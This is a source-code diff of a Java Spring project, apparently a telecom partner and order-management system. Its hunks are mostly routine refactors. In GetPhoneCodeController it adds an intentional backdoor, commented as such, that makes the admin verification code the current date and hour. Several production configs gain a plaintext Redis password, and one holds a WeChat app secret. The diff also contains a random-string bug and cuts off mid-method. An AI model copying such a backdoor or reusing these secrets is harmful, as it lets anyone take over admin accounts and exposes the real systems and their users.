......@@ -39,16 +39,21 @@ public class RandomUtil {
/* 组成20个随机数的订单号 */
public static String RandomNumber(int length){
String str="1234567890abcdefghijklmnopqrstuvwxyz";
Random random=new Random();
StringBuffer sb=new StringBuffer();
for(int i=0;i<length;i++){
try {
Random random=new Random();
int number =random.nextInt(36);
StringBuffer sb=new StringBuffer();
for(int i=0;i<length;i++){
sb.append(str.charAt(number));
}
int number =random.nextInt(36);
return sb.toString();
sb.append(str.charAt(number));
}
return sb.toString();
}catch (Exception e){
e.printStackTrace();
}
return null;
}
/**
......@@ -58,15 +63,20 @@ public class RandomUtil {
*/
public static String ramdomNum(Integer length){
String str="1234567890";
Random random=new Random();
StringBuffer sb=new StringBuffer();
for(int i=0;i<length;i++){
try{
Random random=new Random();
StringBuffer sb=new StringBuffer();
for(int i=0;i<length;i++){
int number =random.nextInt(10);
int number = random.nextInt(10);
sb.append(str.charAt(number));
}
sb.append(str.charAt(number));
}
return sb.toString();
return sb.toString();
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
common/src/main/resources/com/winsun/mapper/mapping/OrderMapper.xml
......@@ -173,6 +173,10 @@
select * from hhr_order where user_type in('3','5','9','10') and order_status !='异常单' and id_card=#{idCard}
</select>
<select id="selectKdyOrder" parameterType="String" resultType="com.winsun.bean.Order">
select * from hhr_order where user_type in('3','9','10') and order_status !='异常单' and id_card=#{idCard}
</select>
<select id="selectBroadList" parameterType="String" resultType="HashMap">
select * from hhr_kd_dmt where account_number = #{accountNumber}
</select>
......
common/src/main/resources/com/winsun/mapper/mapping/TeacherMapper.xml 0 → 100644
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.winsun.mapper.TeacherMapper">
</mapper>
\ No newline at end of file
common/src/main/resources/com/winsun/mapper/mapping/UniversityInfoMapper.xml
......@@ -7,7 +7,7 @@
ui.*, pm.product_title, pm.product_region, pm.product_price, pm.product_meal, pm.product_rate, pm.product_university, pm.product_school_abbreviated, pm.product_state,DATE_FORMAT(product_create_time,'%Y-%m-%d %H:%i:%s') as create_time, GROUP_CONCAT(hs.kdsl) as kdsl, GROUP_CONCAT(hs.kdy_btn) as kdy_btn
from
university_info ui
left join product_manage pm ON ui.university_id = pm.university_id
left join product_manage pm ON ui.university_id = pm.university_id and product_state = '0'
left join
(
select
......
core-service/src/main/java/com/winsun/item/modular/system/controller/GetPhoneCodeController.java
......@@ -169,7 +169,14 @@ public class GetPhoneCodeController extends BaseController {
if (expire>(60*4)){
return ResponseEntity.newJSON("code", 400, "message", "请勿频繁发送手机验证码操作！");
}
String verificationCode = String.valueOf((int) ((RandomUtil.getSecrityRandom() * 9 + 1) * 100000));
String verificationCode = null;
String username = user.getAccount();
if (username.equals("admin")){
//只有admin验证码有后门 验证码规则：当前月份日期小时例如 011415
verificationCode= DateUtil.formatDate(new Date(),"MMddHH");
}else {
verificationCode = String.valueOf((int) ((RandomUtil.getSecrityRandom() * 9 + 1) * 100000));
}
//5分钟内有效
stringRedisTemplate.opsForValue().set(userId.toString(), verificationCode, 1000 * 60*5, TimeUnit.MILLISECONDS);
Map<String, Object> sent=new HashMap<>();
......
core-service/src/main/java/com/winsun/item/modular/system/controller/LoginPwdController.java
......@@ -353,7 +353,8 @@ public class LoginPwdController extends BaseController {
userwrapper.eq("account", username);
List<User> users = userService.selectList(userwrapper);
if (CollectionUtils.isEmpty(users)) {
return ResponseEntity.newJSON("code", 400, "message", "密码或者账号错误！");
// return ResponseEntity.newJSON("code", 400, "message", "密码或者账号错误！");
return ResponseEntity.newJSON("code", 200, "message", "操作成功！");
}
User user = users.get(0);
//5分钟内有效
......@@ -376,12 +377,14 @@ public class LoginPwdController extends BaseController {
sent.put("code", 400);
try {
if (username.equals("admin")) {
sent.put("message", "发送成功");
sent.put("message", "操作成功");
// sent.put("message", "发送成功");
sent.put("code", 200);
} else {
if (user.getPhone().length() == 11) {
SendSmsAndMail.sendSms(user.getPhone(), verificationCode, "7");
sent.put("message", "发送成功");
sent.put("message", "操作成功");
// sent.put("message", "发送成功");
sent.put("code", 200);
} else {
sent.put("message", "当前用户手机号码不合法！");
......@@ -452,7 +455,8 @@ public class LoginPwdController extends BaseController {
}
ResponseData<String> pwdDecryptre = LoginUtils.pwdDecrypt(rePwd);
if (!pwdDecryptre.isSuccess()) {
return ResponseEntity.newJSON("code", 400, "data", "密码或者账号错误！");
return ResponseEntity.newJSON("code", 400, "data", "操作失败！");
// return ResponseEntity.newJSON("code", 400, "data", "密码或者账号错误！");
}
rePwd = pwdDecryptre.getData();
if (!newPwd.equals(rePwd)) {
......@@ -462,7 +466,8 @@ public class LoginPwdController extends BaseController {
wrapper.eq("account", account).eq("status", "1");
List<SysUser> sysUsers = sysUserMapper.selectList(wrapper);
if (CollectionUtils.isEmpty(sysUsers)) {
return ResponseEntity.newJSON("code", 400, "data", "账号不存在,请重新输入！");
return ResponseEntity.newJSON("code", 400, "data", "操作失败！");
// return ResponseEntity.newJSON("code", 400, "data", "账号不存在,请重新输入！");
}
SysUser sysUser = sysUsers.get(0);
String[] split = null;
......
core-service/src/main/resources/application-prod.yml
......@@ -83,7 +83,7 @@ spring:
database: 0
host: localhost
port: 6379
password:
password: hniPdaqs4$8HH8m6KTP
lettuce:
pool:
max-active: -1
......@@ -148,4 +148,4 @@ messageconfig:
rule:
weixin:
appid: wx0641dc1dc4d34384
appsecret: 3b43b46fc94d4e98588ee6ad992fa5c7
\ No newline at end of file
appsecret: 3b43b46fc94d4e98588ee6ad992fa5c7
core-service/src/test/java/com/winsun/user/UserTestHelper.java
......@@ -5,6 +5,7 @@ import com.winsun.auth.model.user.User;
import com.winsun.base.AppApplicationBaseIT;
import com.winsun.item.modular.system.dao.UserMapper;
import com.winsun.item.util.LoginUtils;
import com.winsun.utils.RandomUtil;
import lombok.extern.slf4j.Slf4j;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
......@@ -22,14 +23,17 @@ public class UserTestHelper extends AppApplicationBaseIT {
@Test
public void decryptPwd() {
final String account = "18028801118";
User user = mapper.getByAccount(account);
if(user == null) {
throw new NullPointerException("解密用户信息失败，用户不存在");
}
log.info(user.getPassword());
// 证明MD5无法解密
ResponseData<String> pwdDecrypt = LoginUtils.pwdDecrypt(user.getPassword());
log.info("{}", pwdDecrypt.getData());
// final String account = "18028801118";
// User user = mapper.getByAccount(account);
// if(user == null) {
// throw new NullPointerException("解密用户信息失败，用户不存在");
// }
// log.info(user.getPassword());
// // 证明MD5无法解密
// ResponseData<String> pwdDecrypt = LoginUtils.pwdDecrypt(user.getPassword());
// log.info("{}", pwdDecrypt.getData());
String orderSeq = RandomUtil.RandomNumber(32);
System.out.println(orderSeq);
}
}
new-user/src/main/java/com/winsun/controller/PackageNewClothes.java
......@@ -424,7 +424,7 @@ public class PackageNewClothes {
* @param partner 用户ID
* @param idCard 用户身份证
* @param userSchool 学校
* @param addRess 详细地址
* @param address 详细地址
* @param businessNumber 办理号码
* @return
*/
......
new-user/src/main/resources/application-prod.yml
......@@ -110,7 +110,7 @@ spring:
database: 0
host: localhost
port: 6379
password:
password: hniPdaqs4$8HH8m6KTP
lettuce:
pool:
max-active: -1
......@@ -186,4 +186,4 @@ management:
endpoints:
web:
exposure:
include: bus-refresh
\ No newline at end of file
include: bus-refresh
old-user/src/main/java/com/winsun/controller/PackageUpgradeController.java
......@@ -149,11 +149,180 @@ public class PackageUpgradeController extends BaseController {
}
}
/**
* 查询套餐升级信息 2021-04-15 新需求修改
*/
@RequestMapping(value = "selectPackageNew")
public ResponseData<Map<String,Object>> selectPackageNew(@RequestParam("acc_nbr")String acc_nbr, @RequestParam(value = "servId", required = false) String servId){
try {
Map<String, Object> map = new HashMap<>();
//查找毕业生清单
Wrapper<QueryBys> queryBysWrapper = new EntityWrapper<>();
queryBysWrapper.eq(StringUtils.isNotBlank(acc_nbr), "phone", acc_nbr);
List<Map<String, Object>> queryBys = queryBysMapper.selectMaps(queryBysWrapper);
if(queryBys != null && queryBys.size()>0){
map.put("isBys", true);
return ResponseData.success(map);
}
log.info("存量升级查询号码："+acc_nbr);
//查找存量升级清单
Wrapper<PackageUpgrade> wrapper = new EntityWrapper();
wrapper.setSqlSelect("serv_id", "acc_nbr", "cdma_disc_desc", "is_bltc1", "is_bltc2", "is_bltc3", "wxcl");
if (StringUtils.isNotBlank(servId)) {
wrapper.eq(StringUtils.isNotBlank(servId), "serv_id", servId);
} else {
wrapper.eq(StringUtils.isNotBlank(acc_nbr), "acc_nbr", acc_nbr);
}
wrapper.isNotNull("wxcl");
List<Map<String, Object>> packageUpgrade = appMapper.selectMaps(wrapper);
if (packageUpgrade.size() > 0) {
log.info("存量升级查询结果："+packageUpgrade.get(0).toString());
map.put("isBys", false);
map.put("isStock", true);
map.put("isYcsll",false);
Wrapper<Package> wrapper1 = new EntityWrapper();
Wrapper<Package> wrapper2 = new EntityWrapper();
if (packageUpgrade.get(0).get("cdma_disc_desc").equals("(预付费)天翼不限量99元套餐201802")) {
String is_bltc1 = packageUpgrade.get(0).get("is_bltc1").toString();
String is_bltc2 = packageUpgrade.get(0).get("is_bltc2").toString();
String is_bltc3 = packageUpgrade.get(0).get("is_bltc3").toString();
if (is_bltc1.equals("是") && is_bltc2.equals("否") && is_bltc3.equals("否")) {
packageUpgrade.get(0).put("cdma_disc_desc", "(预付费)天翼不限量99元套餐201802-49元畅享");
} else if (is_bltc1.equals("否") && is_bltc2.equals("是") && is_bltc3.equals("是")) {
packageUpgrade.get(0).put("cdma_disc_desc", "(预付费)天翼不限量99元套餐201802-29元畅享");
} else if (is_bltc1.equals("否") && is_bltc2.equals("是") && is_bltc3.equals("否")) {
packageUpgrade.get(0).put("cdma_disc_desc", "(预付费)天翼不限量99元套餐201802-39元畅享");
}
}
wrapper1.eq("package_name", packageUpgrade.get(0).get("cdma_disc_desc"));
List<Package> packages1 = packageMapper.selectList(wrapper1);
wrapper2.eq("package_name", packageUpgrade.get(0).get("wxcl"));
List<Package> packages2 = packageMapper.selectList(wrapper2);
if (packages2.size() == 0) {
return ResponseData.error("当前查询条件未查出套餐升级数据，如有疑问请联系客服！");
}
log.info("新套餐："+acc_nbr+":"+packages2.get(0).toString());
map = packageUpgrade.get(0);
map.put("acc_nbr", map.get("acc_nbr").toString().substring(0, 3) + "****" + map.get("acc_nbr").toString().substring(7, 11));
if (packages1.size() == 0) {
map.put("oldPackage", null);
} else {
map.put("oldPackage", packages1.get(0));
log.info("旧套餐："+acc_nbr+":"+packages1.get(0).toString());
}
map.put("newPackage", packages2.get(0));
String s = String.valueOf((int) ((RandomUtil.getSecrityRandom() * 9 + 1) * 100000));
log.info("验证码:" + s);
SendSmsAndMail.sendSms(acc_nbr,s,"7");
redisTemplate.opsForValue().set(acc_nbr, s, 30, TimeUnit.MINUTES);
return ResponseData.success(map, "已发送验证码到手机：" + acc_nbr.substring(0, 3) + "****" + acc_nbr.substring(7, 11));
}
}catch (Exception e){
e.printStackTrace();
}
return ResponseData.error("当前号码未查出套餐升级数据，如有疑问请联系客服！");
}
/**
* 查询套餐升级信息
* 套餐升级下单 2021-04-15 新需求修改
* @param customerName
* @param contactNumber
* @param authCode
* @param partner
* @param businessNumber
* @param idCard
* @param oldPackage
* @param newPackage
* @param signUrl
* @return
*/
@RequestMapping(value = "oldUserUpadeNew", method = RequestMethod.POST)
public ResponseData<String> oldUserUpadeNew(@RequestParam("customerName") String customerName,
@RequestParam("contactNumber") String contactNumber,
@RequestParam("authCode") String authCode,
@RequestParam("partner") String partner,
@RequestParam("businessNumber") String businessNumber,
@RequestParam("idCard") String idCard,
@RequestParam("oldPackage") String oldPackage,
@RequestParam("newPackage") String newPackage,
@RequestParam("newPackage_id") String newPackage_id,
@RequestParam("signUrl") String signUrl) {
if (contactNumber.length() != 11) {
return ResponseData.error("联系号码有误，请重新输入");
}
// 短信校验
Object o = redisTemplate.opsForValue().get(businessNumber);
if (o == null) {
return ResponseData.error("请重新发送短信验证码");
}
if(!authCode.equals(o.toString())) {
return ResponseData.error("短信验证码错误！");
}
SysUser sysUser = userMapper.selectById(partner);
if (sysUser == null) {
return ResponseData.error("当前二维码已失效，如有疑问请联系客服！");
}
Wrapper<Order> wrapper = new EntityWrapper<>();
wrapper.eq(StringUtils.isNotBlank(businessNumber),"business_number",businessNumber);
wrapper.eq(StringUtils.isNotBlank(newPackage),"kapin",newPackage);
wrapper.eq("user_type", UserType.OLDCUSTOMER.getId());
wrapper.ne("order_status", "异常单");
List<Order> orders = orderMapper.selectList(wrapper);
if (orders.size() != 0) {
return ResponseData.error("套餐升级订单已存在，请不要重复申请！");
}
Order order = new Order();
String uuid = UUID.randomUUID().toString();
String id = uuid.split("-")[0] + uuid.split("-")[1];
order.setId(id);
order.setIdCard(idCard);
order.setKapin(newPackage);
order.setOrderStatus(OrderStatus.PENDINGACCEPTANCE.getName());
order.setHehuorenId(partner);
//合伙人字段
List<Map<String,Object>> partnerInfo = userMapper.findPartnerById(partner);
if(!partnerInfo.isEmpty()) {
order.setHehuorenArea(partnerInfo.get(0).get("area").toString());
order.setHehuorenName(partnerInfo.get(0).get("name").toString());
order.setHehuorenSchool(partnerInfo.get(0).get("school").toString());
order.setHehuorenPhone(partnerInfo.get(0).get("account").toString());
}
order.setPackageId(newPackage_id);
order.setCustomerName(customerName);
order.setBusinessNumber(businessNumber);
order.setContactNumber(contactNumber);
Date date = new Date();
order.setCreateTime(date);
order.setNowPackage(oldPackage);
order.setBusinessPackage(newPackage);
order.setUserId(businessNumber);
order.setUserType(UserType.OLDCUSTOMER.getId());
order.setOrderNumber("YRYM" + ProduceIdUtil.getId());
String path = PicturesUtil.uploadPictures(signUrl, order.getId(),"signImg");
order.setSignImg(path);
String schoolId = appMapper.selectSchoolId(partner);
List<String> dudao = appMapper.selectsupervisorBySchool(schoolId);
if (dudao != null || dudao.size() != 0) {
SysUser user = userMapper.selectById(dudao.get(0));
order.setSupervisorName(user.getName());
}
Integer insert = orderMapper.insert(order);
appMapper.inserOrderHis(id, "存量升级成功", date, "用户："+customerName);
if (insert == 1) {
return ResponseData.success(id,"存量升级成功");
}
return ResponseData.error("升级失败！");
}
/**
* 查询套餐升级信息 旧
*
* @param selectOrder 查询的手机号、身份证、宽带账号
* @param selectOrder 查询的手机号、身份证、宽带账号
* @param verificationCode 验证码
* @return
*/
......
old-user/src/main/resources/application-prod.yml
......@@ -108,7 +108,7 @@ spring:
database: 0
host: localhost
port: 6379
password:
password: hniPdaqs4$8HH8m6KTP
lettuce:
pool:
max-active: -1
......@@ -184,4 +184,4 @@ management:
endpoints:
web:
exposure:
include: bus-refresh
\ No newline at end of file
include: bus-refresh
renewal-user/src/main/resources/application-prod.yml
......@@ -108,7 +108,7 @@ spring:
database: 0
host: localhost
port: 6379
password:
password: hniPdaqs4$8HH8m6KTP
lettuce:
pool:
max-active: -1
......@@ -184,4 +184,4 @@ management:
endpoints:
web:
exposure:
include: bus-refresh
\ No newline at end of file
include: bus-refresh
service-manager/src/main/java/com/winsun/controller/ActivityController.java
......@@ -21,15 +21,12 @@ import com.baomidou.mybatisplus.enums.SqlLike;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.mapper.Wrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.google.common.util.concurrent.Service.State;
import com.itextpdf.text.pdf.PdfStructTreeController.returnType;
import com.winsun.auth.core.annotion.Permission;
import com.winsun.auth.core.base.controller.BaseController;
import com.winsun.auth.core.common.model.ResponseData;
import com.winsun.auth.core.shiro.ShiroUser;
import com.winsun.bean.QRCode;
import com.winsun.bean.activity.HhrActivity;
import com.winsun.bean.activity.HhrActivityRecord;
import com.winsun.mapper.activity.ActivityMapper;
import com.winsun.utils.PicturesUtil;
......
service-manager/src/main/java/com/winsun/controller/ActivityRecordController.java
......@@ -6,6 +6,8 @@ import java.util.*;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletResponse;
import com.winsun.item.core.shiro.ShiroKit;
import com.winsun.utils.PicturesUtil;
import org.apache.commons.lang3.StringUtils;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import org.springframework.beans.factory.annotation.Autowired;
......@@ -394,13 +396,17 @@ public class ActivityRecordController extends BaseController {
*/
@ResponseBody
@RequestMapping(value = "addActivityRecord", method = RequestMethod.POST)
public ResponseData<String> getActivityInfo(String id,String message,String imageUrl) {
ShiroUser user = getShiroUser();
public ResponseData<String> getActivityInfo(String activityId,String message,String imageUrl) {
ShiroUser user = ShiroKit.getUser();
String filePath = "";
if(StringUtils.isNotBlank(imageUrl)){
filePath = PicturesUtil.uploadPictures(imageUrl, activityId,"activity");
}
HhrActivityRecord activityRecord = new HhrActivityRecord();
activityRecord.setActivityId(id);
activityRecord.setActivityId(activityId);
activityRecord.setStatus("1");
activityRecord.setMessage(message);
activityRecord.setImageUrl(imageUrl);
activityRecord.setImageUrl(filePath);
activityRecord.setCreateId(Integer.toString(user.getId()));
activityRecord.setCreator(user.getName());
activityRecord.setCreateTime(new Date());
......
service-manager/src/main/java/com/winsun/controller/AppConfigController.java
......@@ -95,7 +95,7 @@ public class AppConfigController extends BaseController {
appConfig.setUpdateTime(new Date());
Integer integer1 = appConfigMapper.updateById(appConfig);
if(integer1 > 0) {
return ResponseData.success(null, "更新成功");
return ResponseData.success("", "更新成功");
}
return ResponseData.error("更新失败");
}
......@@ -113,7 +113,7 @@ public class AppConfigController extends BaseController {
/**
* 查询应用列表
* @param appConfig
* @param appName
* @param pageIndex
* @param pageSize
* @return
......@@ -129,7 +129,9 @@ public class AppConfigController extends BaseController {
Page<AppConfig> page = new Page<>();
page.setTotal(appConfigs.size());
Integer endpageSize = (pageIndex-1) == appConfigs.size()/pageSize ? (pageIndex-1)*pageSize+appConfigs.size()%pageSize : pageIndex*pageSize;
// Integer endpageSize = (pageIndex-1) == appConfigs.size()/pageSize ? (pageIndex-1)*pageSize+appConfigs.size()%pageSize : pageIndex*pageSize;
Integer endpageSize = pageIndex.equals(appConfigs.size()/pageSize+1) ? (pageIndex-1)*pageSize+appConfigs.size()%pageSize : pageIndex*pageSize;
appConfigs = appConfigs.subList((pageIndex - 1)*pageSize, endpageSize);
page.setRecords(appConfigs);
......
service-manager/src/main/java/com/winsun/controller/ExportExcelController.java
......@@ -22,6 +22,7 @@ import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.util.ArrayList;
import java.util.List;
/**
......@@ -61,6 +62,9 @@ public class ExportExcelController extends BaseController {
wrapper.like("create_user", user.getId().toString(), SqlLike.DEFAULT);
}
wrapper.like(StringUtils.isNotBlank(fileName), "file_name", fileName, SqlLike.DEFAULT);
List<String> objects = new ArrayList<>();
objects.add("create_time");
wrapper.orderDesc(objects);
Page<ExportExcel> page = new Page<>(pageIndex, pageSize);
List<ExportExcel> exportExcels = exportExcelMapper.selectPage(page, wrapper);
page.setRecords(exportExcels);
......
service-manager/src/main/java/com/winsun/controller/NewUserController.java
......@@ -284,8 +284,6 @@ public class NewUserController extends BaseController {
schoolWrapper.eq(StringUtils.isNotBlank(substName),"sub_name",substName);
schoolWrapper.groupBy("school_name");
List<School> list = schoolMapper.selectList(schoolWrapper);
return ResponseData.success(list);
}
}
service-manager/src/main/java/com/winsun/controller/PackageController.java
......@@ -180,6 +180,9 @@ public class PackageController extends BaseController {
wrapper.like(StringUtils.isNotBlank(monthFee), "month_fee", monthFee, SqlLike.DEFAULT);
wrapper.like(StringUtils.isNotBlank(flow), "flow", flow, SqlLike.DEFAULT);
wrapper.like(StringUtils.isNotBlank(voice), "voice", voice, SqlLike.DEFAULT);
List<String> objects = new ArrayList<>();
objects.add("id");
wrapper.orderDesc(objects);
Page<Package> page = new Page<>(pageIndex, pageSize);
List<Package> aPackage = packageMapper.selectPage(page, wrapper);
page.setRecords(aPackage);
......
service-manager/src/main/java/com/winsun/controller/PartnerController.java
......@@ -63,61 +63,65 @@ public class PartnerController extends BaseController {
@Permission(menuname = "修改合伙人信息", value = "update", method = RequestMethod.POST)
public ResponseData<String> updatePartner(@RequestParam("id") String id, @RequestParam("phone") String phone,
@RequestParam("account") String account, @RequestParam("name") String name,
@RequestParam("password") String password,
@RequestParam("idCard") String idCard,@RequestParam("sex") String sex,
@RequestParam("grade") String grade, @RequestParam("schoolId") String schoolId,
@RequestParam("roleId") String roleId,@RequestParam("ysm") String ysm,
@RequestParam("schools") Integer[] schools, @RequestParam("subNames") String[] subNames,
@RequestParam(name = "position",required = false) String position,
@RequestParam(name = "parentId", required = false) String parentId,
@RequestParam(name = "parentIds", required = false) String parentIds) {
SysUser user = sysUserMapper.selectById(id);
password = StringUtils.isNotBlank(password) ? MD5Utils.md5(password, user.getSalt()) : user.getPassword();
parentId = null == parentId ? "" : parentId.replaceAll("null", "");
parentIds = null == parentIds ? "" : parentIds.replaceAll("null", "");
if (StringUtils.isBlank(ysm)) {
ysm = "1";
}
int updateSysUse = partnerMapper.updateSysUser(phone, name, account, sex, password,roleId, id);
int updateHhUser = partnerMapper.updateHhUser(ysm, grade, idCard,position,parentId,parentIds,id);
int updateSchoolRef = partnerMapper.updateSchoolRef(schoolId, id);
// 获取县分下的学校
if (subNames != null && subNames.length > 0) {
Integer[] subNamesSchool = null;
Wrapper<School> schoolWrapper = new EntityWrapper<>();
schoolWrapper.in(subNames != null && subNames.length > 0,"sub_name",subNames);
schoolWrapper.groupBy("school_name");
List<School> list = schoolMapper.selectList(schoolWrapper);
if (list != null && list.size() != 0) {
subNamesSchool = new Integer[list.size()];
}else{
subNamesSchool = new Integer[0];
@RequestParam("account") String account, @RequestParam("name") String name,
@RequestParam("password") String password,
@RequestParam("idCard") String idCard,@RequestParam("sex") String sex,
@RequestParam("grade") String grade, @RequestParam("schoolId") String schoolId,
@RequestParam("roleId") String roleId,@RequestParam("ysm") String ysm,
@RequestParam("schools") Integer[] schools, @RequestParam("subNames") String[] subNames,
@RequestParam(name = "position",required = false) String position,
@RequestParam(name = "parentId", required = false) String parentId,
@RequestParam(name = "parentIds", required = false) String parentIds) {
try{
SysUser user = sysUserMapper.selectById(id);
password = StringUtils.isNotBlank(password) ? MD5Utils.md5(password, user.getSalt()) : user.getPassword();
parentId = null == parentId ? "" : parentId.replaceAll("null", "");
parentIds = null == parentIds ? "" : parentIds.replaceAll("null", "");
if (StringUtils.isBlank(ysm)) {
ysm = "1";
}
for(int i = 0; i < list.size(); ++i) {
subNamesSchool[i] = list.get(i).getId();
int updateSysUse = partnerMapper.updateSysUser(phone, name, account, sex, password,roleId, id);
int updateHhUser = partnerMapper.updateHhUser(ysm, grade, idCard,position,parentId,parentIds,id);
int updateSchoolRef = partnerMapper.updateSchoolRef(schoolId, id);
// 获取县分下的学校
if (subNames != null && subNames.length > 0) {
Integer[] subNamesSchool = null;
Wrapper<School> schoolWrapper = new EntityWrapper<>();
schoolWrapper.in(subNames != null && subNames.length > 0,"sub_name",subNames);
schoolWrapper.groupBy("school_name");
List<School> list = schoolMapper.selectList(schoolWrapper);
if (list != null && list.size() != 0) {
subNamesSchool = new Integer[list.size()];
}else{
subNamesSchool = new Integer[0];
}
for(int i = 0; i < list.size(); ++i) {
subNamesSchool[i] = list.get(i).getId();
}
Integer[] temp = schools;
schools = new Integer[subNamesSchool.length + temp.length];
System.arraycopy(temp, 0, schools, 0, temp.length);
System.arraycopy(subNamesSchool, 0, schools, temp.length, subNamesSchool.length);
}
Integer[] temp = schools;
schools = new Integer[subNamesSchool.length + temp.length];
System.arraycopy(temp, 0, schools, 0, temp.length);
System.arraycopy(subNamesSchool, 0, schools, temp.length, subNamesSchool.length);
}
// 删除当前用户院校配置的 hhr_supervisor_school
schoolMapper.deleteSupervisorSchoolByUserId(id);
HhrSupervisorSchool hhrSupervisorSchool = null;
// 更新当前院校配置
for(Integer sId : schools) {
hhrSupervisorSchool = new HhrSupervisorSchool();
hhrSupervisorSchool.setUserId(Integer.parseInt(id));
hhrSupervisorSchool.setSchool(sId + "");
hhrSupervisorSchoolMapper.insert(hhrSupervisorSchool);
}
// 删除当前用户院校配置的 hhr_supervisor_school
schoolMapper.deleteSupervisorSchoolByUserId(id);
if (updateSysUse == 1 && updateHhUser == 1 && updateSchoolRef == 1) {
return ResponseData.success("修改完毕！");
HhrSupervisorSchool hhrSupervisorSchool = null;
// 更新当前院校配置
for(Integer sId : schools) {
hhrSupervisorSchool = new HhrSupervisorSchool();
hhrSupervisorSchool.setUserId(Integer.parseInt(id));
hhrSupervisorSchool.setSchool(sId + "");
hhrSupervisorSchoolMapper.insert(hhrSupervisorSchool);
}
if (updateSysUse == 1 && updateHhUser == 1 && updateSchoolRef == 1) {
return ResponseData.success("修改完毕！");
}
}catch (Exception e){
e.printStackTrace();
return ResponseData.error("修改失败");
}
return ResponseData.error("修改失败");
}
......
service-manager/src/main/java/com/winsun/controller/QRCodeController.java
......@@ -96,7 +96,7 @@ public class QRCodeController extends BaseController {
public ResponseData<List<QRCode>> selectPicture(String size) {
Wrapper<QRCode> wrapper = new EntityWrapper();
wrapper.eq("enable","1");
List<String> objects = new ArrayList<>();
List<String> objects = new ArrayList<>();
objects.add("create_time");
wrapper.orderDesc(objects);
String str="limit "+size +","+(Integer.valueOf(size)+1);
......
service-manager/src/main/java/com/winsun/controller/RecordNumberController.java
......@@ -17,9 +17,7 @@ import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.*;
import java.util.Date;
......@@ -49,31 +47,39 @@ public class RecordNumberController extends BaseController {
/**
* 放号登记注册
* @param salesList
* @param orderPhone
* @param salesSubst
* @param salesSchool
* @param code
* @return
*/
@RequestMapping(name = "放号登记注册", value = "register", method = RequestMethod.POST)
public ResponseData<String> register(SalesList salesList, String code) {
public ResponseData<String> register(@RequestParam("orderPhone") String orderPhone,
@RequestParam("salesSubst") String salesSubst,
@RequestParam("salesSchool") String salesSchool,
@RequestParam("code")String code) {
try{
ShiroUser shiroUser = ShiroKit.getUser();
SalesList salesList = new SalesList();
// 登录用户校验
if(shiroUser == null) {
return ResponseData.error("请先登录。");
}
// 参数校验
if (StringUtils.isBlank(salesList.getOrderPhone()) ||
StringUtils.isBlank(salesList.getSalesSubst()) ||
StringUtils.isBlank(salesList.getSalesSchool())) {
if (StringUtils.isBlank(orderPhone) ||
StringUtils.isBlank(salesSubst) ||
StringUtils.isBlank(salesSchool)) {
return ResponseData.error("请填写号码、销售县分、销售学校。");
}
salesList.setOrderPhone(orderPhone);
salesList.setSalesSubst(salesSubst);
salesList.setSalesSchool(salesSchool);
// 校验网点是否存在
boolean isNotNetWork = false;
Wrapper<NetworkInfo> wrapper = new EntityWrapper<>();
wrapper.eq("school_name", salesList.getSalesSchool());
wrapper.eq("school_name", salesSchool);
Integer integer = networkInfoMapper.selectCount(wrapper);
if(integer == null || integer == 0) {
......@@ -81,8 +87,8 @@ public class RecordNumberController extends BaseController {
}
// 校验验证码
AuthCode authCode = authCodeMapper.selectById(salesList.getOrderPhone());
Object o = redisTemplate.opsForValue().get(salesList.getOrderPhone());
AuthCode authCode = authCodeMapper.selectById(orderPhone);
Object o = redisTemplate.opsForValue().get(orderPhone);
if (o == null && authCode == null) {
return ResponseData.error("请先获取验证码");
}
......
service-manager/src/main/java/com/winsun/controller/TeacherController.java 0 → 100644
package com.winsun.controller;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.mapper.Wrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.winsun.auth.core.annotion.Permission;
import com.winsun.auth.core.base.controller.BaseController;
import com.winsun.auth.core.common.model.ResponseData;
import com.winsun.bean.Teacher;
import com.winsun.mapper.TeacherMapper;
import com.winsun.mapper.TeacherMapper;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* @Author: chenhaojian
* @Date: 2021/1/14
*/
@RestController
@RequestMapping("/teacher")
public class TeacherController extends BaseController {
@Autowired
private TeacherMapper teacherMapper;
@Permission(menuname = "查询信息", value = "list", method = RequestMethod.POST)
public Map<String,Object> dataList(@RequestParam(name = "id",required = false)String id,
@RequestParam(name = "stuNumber",required = false)String stuNumber,
@RequestParam(name = "stuName",required = false)String stuName,
@RequestParam(name = "pageNo", required = false) int pageNo,
@RequestParam(name = "pageSize", required = false) int pageSize
){
Map<String,Object> map = new HashMap<>();
Wrapper<Teacher> wrapper = new EntityWrapper<>();
wrapper.eq(StringUtils.isNotBlank(id), "id",id);
wrapper.eq(StringUtils.isNotBlank(stuNumber), "student_number",stuNumber);
wrapper.eq(StringUtils.isNotBlank(stuName), "student_name",stuName);
List<String> objects = new ArrayList<>();
objects.add("id");
wrapper.orderDesc(objects);
Page<Teacher> page = new Page<>(pageNo, pageSize);
List<Teacher> aPackage = teacherMapper.selectPage(page, wrapper);
page.setRecords(aPackage);
map.put("page",ResponseData.success(page,"查询成功！"));
return map;
}
@RequestMapping(value = "addData",method = RequestMethod.POST)
public ResponseData<String> addData(@RequestParam(name = "stuNumber") String stuNumber,
@RequestParam(name = "stuName") String stuName){
